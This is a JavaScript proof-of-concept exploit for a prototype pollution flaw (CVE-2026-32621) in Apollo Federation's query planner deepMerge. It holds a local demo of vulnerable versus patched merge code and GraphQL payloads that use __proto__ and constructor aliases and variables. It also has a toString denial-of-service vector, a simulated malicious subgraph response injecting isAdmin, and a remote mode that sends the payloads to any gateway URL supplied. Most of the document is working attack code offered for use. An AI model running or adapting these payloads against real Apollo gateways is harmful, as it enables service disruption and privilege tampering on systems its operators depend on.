/** * CVE-2026-32621 - Apollo Federation Prototype Pollution PoC * * Vulnerability: deepMerge in @apollo/query-planner does not sanitize keys * before accessing target[key]. When source contains "__proto__" as an own * property (via JSON.parse), target["__proto__"] resolves to Object.prototype, * allowing pollution of the global prototype chain. * * Attack vectors: * 1. Client-side: GraphQL queries with field aliases named __proto__/constructor * 2. Subgraph-side: Compromised subgraph returns JSON with __proto__ keys * * Patched versions: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 * CVSS: 9.9 Critical * CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) */ 'use strict'; const http = require('http'); const https = require('https'); class CertiGhostProtoPollution { constructor(targetUrl) { this.targetUrl = targetUrl; this.parsedUrl = targetUrl ? new URL(targetUrl) : null; this.results = []; } log(msg, level = 'INFO') { const colors = { INFO: '\x1b[36m', VULN: '\x1b[31m', SAFE: '\x1b[32m', WARN: '\x1b[33m', BOLD: '\x1b[1m', RESET: '\x1b[0m', }; const c = colors[level] || colors.INFO; console.log(`${c}[${level}]${colors.RESET} ${msg}`); } async sendGraphQL(query, variables = {}) { return new Promise((resolve, reject) => { const body = JSON.stringify({ query, variables }); const options = { hostname: this.parsedUrl.hostname, port: this.parsedUrl.port || (this.parsedUrl.protocol === 'https:' ? 443 : 80), path: this.parsedUrl.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body), }, }; const transport = this.parsedUrl.protocol === 'https:' ? https : http; const req = transport.request(options, (res) => { let data = ''; res.on('data', (chunk) => (data += chunk)); res.on('end', () => { try { resolve({ status: res.statusCode, body: JSON.parse(data), raw: data }); } catch { resolve({ status: res.statusCode, body: null, raw: data }); } }); }); req.on('error', reject); req.write(body); req.end(); }); } /** * Vector 1: Client-side prototype pollution via field aliases. * * GraphQL allows arbitrary field aliases. If the gateway uses deepMerge * to combine subgraph responses, an alias named "__proto__" will be * used as a key when merging. Since JSON.parse creates __proto__ as an * own property, Object.keys() returns it, and target["__proto__"] * accesses Object.prototype. * * The query requests a field with alias "__proto__" containing an object * with a "polluted" property. When deepMerge processes this: * target["__proto__"] -> Object.prototype * deepMerge(Object.prototype, { polluted: true }) * -> Object.prototype.polluted = true */ buildAliasPayload() { return { query: ` query ProtoPollutionViaAlias { # Use __proto__ as a field alias with an object value # When deepMerge processes the response, it will do: # target["__proto__"] = source["__proto__"] # which writes to Object.prototype __proto__: products { polluted: id } } `, variables: {}, }; } /** * Vector 2: Client-side prototype pollution via variable names. * * Variables with names targeting prototype properties can pollute * when the gateway processes variable values and merges them into * the query plan context. */ buildVariablePayload() { return { query: ` query ProtoPollutionViaVariables( $constructor: String, $prototype: String, $__proto__: String ) { products { id name @include(if: Boolean($__proto__)) } } `, variables: { constructor: "polluted", prototype: "polluted", __proto__: "true", }, }; } /** * Vector 3: Nested prototype pollution via aliased nested fields. * * Deeper nesting allows traversing prototype chain further: * target["constructor"]["prototype"] -> Object.prototype */ buildNestedAliasPayload() { return { query: ` query NestedProtoPollution { products { id # Alias "constructor" with nested "prototype" alias constructor: reviews { prototype: id __proto__: id } } } `, variables: {}, }; } /** * Vector 4: Subgraph-side prototype pollution (compromised subgraph). * * If an attacker controls a subgraph, they can return JSON responses * with __proto__ keys. When the gateway merges these via deepMerge, * Object.prototype gets polluted. * * This simulates what a compromised subgraph would return: * { "data": { "__proto__": { "isAdmin": true, "polluted": "yes" } } } */ buildSubgraphResponsePayload() { // This is the raw JSON a compromised subgraph would return // The gateway's deepMerge would process this when merging fetch results const maliciousSubgraphResponse = JSON.parse( '{"data":{"__proto__":{"isAdmin":true,"polluted":"yes","toString":null}}}' ); return maliciousSubgraphResponse; } /** * Vector 5: Direct deepMerge exploitation (no gateway needed). * * Demonstrates the exact vulnerable code path from * @apollo/query-planner-js/src/utilities/deepMerge.ts * before the patch (no defineOwn call). */ static demonstrateDeepMergeVulnerability() { console.log('\n' + '='.repeat(70)); console.log(' Direct deepMerge Vulnerability Demonstration'); console.log(' (Reproduces the exact vulnerable code path)'); console.log('='.repeat(70) + '\n'); // Reproduce the VULNERABLE deepMerge (pre-patch, without defineOwn) function isObject(value) { return value !== null && typeof value === 'object' && !Array.isArray(value); } function vulnerableDeepMerge(target, source) { if (source === undefined || source === null) return target; for (const key of Object.keys(source)) { if (source[key] === undefined) continue; // NOTE: No defineOwn() call here - this is the vulnerable version // The patch adds: defineOwn(target, key); if (target[key] && isObject(source[key])) { vulnerableDeepMerge(target[key], source[key]); } else if ( Array.isArray(source[key]) && Array.isArray(target[key]) && source[key].length === target[key].length ) { for (let i = 0; i < source[key].length; i++) { if (isObject(target[key][i]) && isObject(source[key][i])) { vulnerableDeepMerge(target[key][i], source[key][i]); } else { target[key][i] = source[key][i]; } } } else { target[key] = source[key]; } } return target; } // Also reproduce the PATCHED version for comparison function hasOwn(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } function defineOwn(obj, prop) { if (!hasOwn(obj, prop) && prop in obj) { Object.defineProperty(obj, prop, { configurable: true, enumerable: true, value: undefined, writable: true, }); } } function patchedDeepMerge(target, source) { if (source === undefined || source === null) return target; for (const key of Object.keys(source)) { if (source[key] === undefined) continue; defineOwn(target, key); // The fix if (target[key] && isObject(source[key])) { patchedDeepMerge(target[key], source[key]); } else if ( Array.isArray(source[key]) && Array.isArray(target[key]) && source[key].length === target[key].length ) { for (let i = 0; i < source[key].length; i++) { if (isObject(target[key][i]) && isObject(source[key][i])) { patchedDeepMerge(target[key][i], source[key][i]); } else { target[key][i] = source[key][i]; } } } else { target[key] = source[key]; } } return target; } const results = []; // Test 1: __proto__ pollution via JSON.parse console.log('[Test 1] __proto__ pollution via JSON.parse source'); const target1 = {}; const source1 = JSON.parse('{"__proto__":{"polluted_test1":true}}'); console.log(` Source keys: ${Object.keys(source1)}`); console.log(` source.__proto__ is own property: ${Object.prototype.hasOwnProperty.call(source1, '__proto__')}`); vulnerableDeepMerge(target1, source1); const test1Vuln = ({}).polluted_test1 === true; console.log(` VULNERABLE: Object.prototype.polluted_test1 = ${({}).polluted_test1}`); results.push({ test: '__proto__ via JSON.parse', vulnerable: test1Vuln }); // Clean up pollution for next test delete Object.prototype.polluted_test1; // Test the patched version const target1b = {}; patchedDeepMerge(target1b, source1); const test1Safe = ({}).polluted_test1 === true; console.log(` PATCHED: Object.prototype.polluted_test1 = ${({}).polluted_test1}`); results.push({ test: '__proto__ via JSON.parse (patched)', vulnerable: test1Safe }); // Test 2: constructor.prototype pollution console.log('\n[Test 2] constructor.prototype pollution'); const target2 = {}; const source2 = JSON.parse('{"constructor":{"prototype":{"polluted_test2":true}}}'); console.log(` Source keys: ${Object.keys(source2)}`); vulnerableDeepMerge(target2, source2); const test2Vuln = ({}).polluted_test2 === true; console.log(` VULNERABLE: Object.prototype.polluted_test2 = ${({}).polluted_test2}`); results.push({ test: 'constructor.prototype', vulnerable: test2Vuln }); delete Object.prototype.polluted_test2; // Patched version const target2b = {}; patchedDeepMerge(target2b, source2); const test2Safe = ({}).polluted_test2 === true; console.log(` PATCHED: Object.prototype.polluted_test2 = ${({}).polluted_test2}`); results.push({ test: 'constructor.prototype (patched)', vulnerable: test2Safe }); // Test 3: Nested __proto__ pollution console.log('\n[Test 3] Nested __proto__ pollution'); const target3 = { data: {} }; const source3 = JSON.parse('{"data":{"__proto__":{"polluted_test3":"deep"}}}'); console.log(` Source: nested __proto__ inside data object`); vulnerableDeepMerge(target3, source3); const test3Vuln = ({}).polluted_test3 === 'deep'; console.log(` VULNERABLE: Object.prototype.polluted_test3 = ${({}).polluted_test3}`); results.push({ test: 'nested __proto__', vulnerable: test3Vuln }); delete Object.prototype.polluted_test3; // Test 4: toString pollution (DoS vector) console.log('\n[Test 4] toString pollution (DoS vector)'); const target4 = {}; const source4 = JSON.parse('{"__proto__":{"toString":null}}'); console.log(` Source: __proto__ with toString:null`); vulnerableDeepMerge(target4, source4); let test4Vuln = false; try { const obj = {}; obj.toString(); } catch (e) { test4Vuln = true; console.log(` VULNERABLE: toString() throws: ${e.message}`); } if (!test4Vuln) { console.log(` NOT POLLUTED: toString() still works`); } results.push({ test: 'toString DoS', vulnerable: test4Vuln }); // Clean up delete Object.prototype.toString; Object.prototype.toString = Object.prototype.toString || function() { return '[object Object]'; }; // Summary console.log('\n' + '-'.repeat(50)); console.log(' RESULTS SUMMARY'); console.log('-'.repeat(50)); for (const r of results) { const status = r.vulnerable ? 'VULNERABLE' : 'SAFE'; const color = r.vulnerable ? '\x1b[31m' : '\x1b[32m'; console.log(` ${color}[${status}]\x1b[0m ${r.test}`); } return results; } async runRemoteExploit() { console.log('\n' + '='.repeat(70)); console.log(' CVE-2026-32621 Remote Exploit'); console.log(` Target: ${this.targetUrl}`); console.log('='.repeat(70) + '\n'); // Check if target is reachable try { const introspection = await this.sendGraphQL('{ __typename }'); if (introspection.status !== 200) { this.log(`Target returned status ${introspection.status}`, 'WARN'); return false; } this.log('Target reachable', 'INFO'); } catch (e) { this.log(`Cannot reach target: ${e.message}`, 'WARN'); this.log('Falling back to local demonstration only', 'WARN'); return false; } // Send alias-based prototype pollution payload this.log('Sending alias-based prototype pollution payload...', 'INFO'); const payload1 = this.buildAliasPayload(); const resp1 = await this.sendGraphQL(payload1.query, payload1.variables); this.log(`Response status: ${resp1.status}`, 'INFO'); if (resp1.body?.errors) { this.log(`GraphQL errors: ${JSON.stringify(resp1.body.errors)}`, 'WARN'); } if (resp1.body?.data) { this.log(`Response data keys: ${Object.keys(resp1.body.data)}`, 'INFO'); } // Send variable-based payload this.log('Sending variable-based prototype pollution payload...', 'INFO'); const payload2 = this.buildVariablePayload(); const resp2 = await this.sendGraphQL(payload2.query, payload2.variables); this.log(`Response status: ${resp2.status}`, 'INFO'); // Send nested alias payload this.log('Sending nested alias prototype pollution payload...', 'INFO'); const payload3 = this.buildNestedAliasPayload(); const resp3 = await this.sendGraphQL(payload3.query, payload3.variables); this.log(`Response status: ${resp3.status}`, 'INFO'); this.log('Remote payloads sent. Check gateway process for pollution effects.', 'INFO'); this.log('Note: Prototype pollution affects the gateway process globally.', 'WARN'); this.log(' Subsequent requests to the same gateway instance may exhibit', 'WARN'); this.log(' unexpected behavior due to polluted Object.prototype.', 'WARN'); return true; } async run() { console.log('\n' + '='.repeat(70)); console.log(' CVE-2026-32621 - Apollo Federation Prototype Pollution'); console.log(' CVSS 9.9 Critical | CWE-1321'); console.log(' Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2'); console.log('='.repeat(70)); // Always run the local demonstration first this.constructor.demonstrateDeepMergeVulnerability(); // If target URL provided, run remote exploit if (this.targetUrl) { await this.runRemoteExploit(); } console.log('\n' + '='.repeat(70)); console.log(' Exploit complete.'); console.log('='.repeat(70) + '\n'); } } // CLI entry point function main() { const args = process.argv.slice(2); let targetUrl = null; for (let i = 0; i < args.length; i++) { if (args[i] === '-u' || args[i] === '--url') { targetUrl = args[i + 1]; i++; } else if (args[i] === '-h' || args[i] === '--help') { console.log(` CVE-2026-32621 - Apollo Federation Prototype Pollution Exploit Usage: node exploit.js Run local deepMerge demonstration node exploit.js -u Run both local demo and remote exploit node exploit.js --url http://localhost:4000/graphql Options: -u, --url Target Apollo Gateway GraphQL endpoint -h, --help Show this help message Attack Vectors: 1. Field aliases (__proto__, constructor, prototype) 2. Variable names targeting prototype properties 3. Nested alias chains (constructor.prototype) 4. Compromised subgraph JSON responses 5. Direct deepMerge exploitation (local demo) `); process.exit(0); } } const exploit = new CertiGhostProtoPollution(targetUrl); exploit.run().catch((err) => { console.error(`Fatal error: ${err.message}`); process.exit(1); }); } main();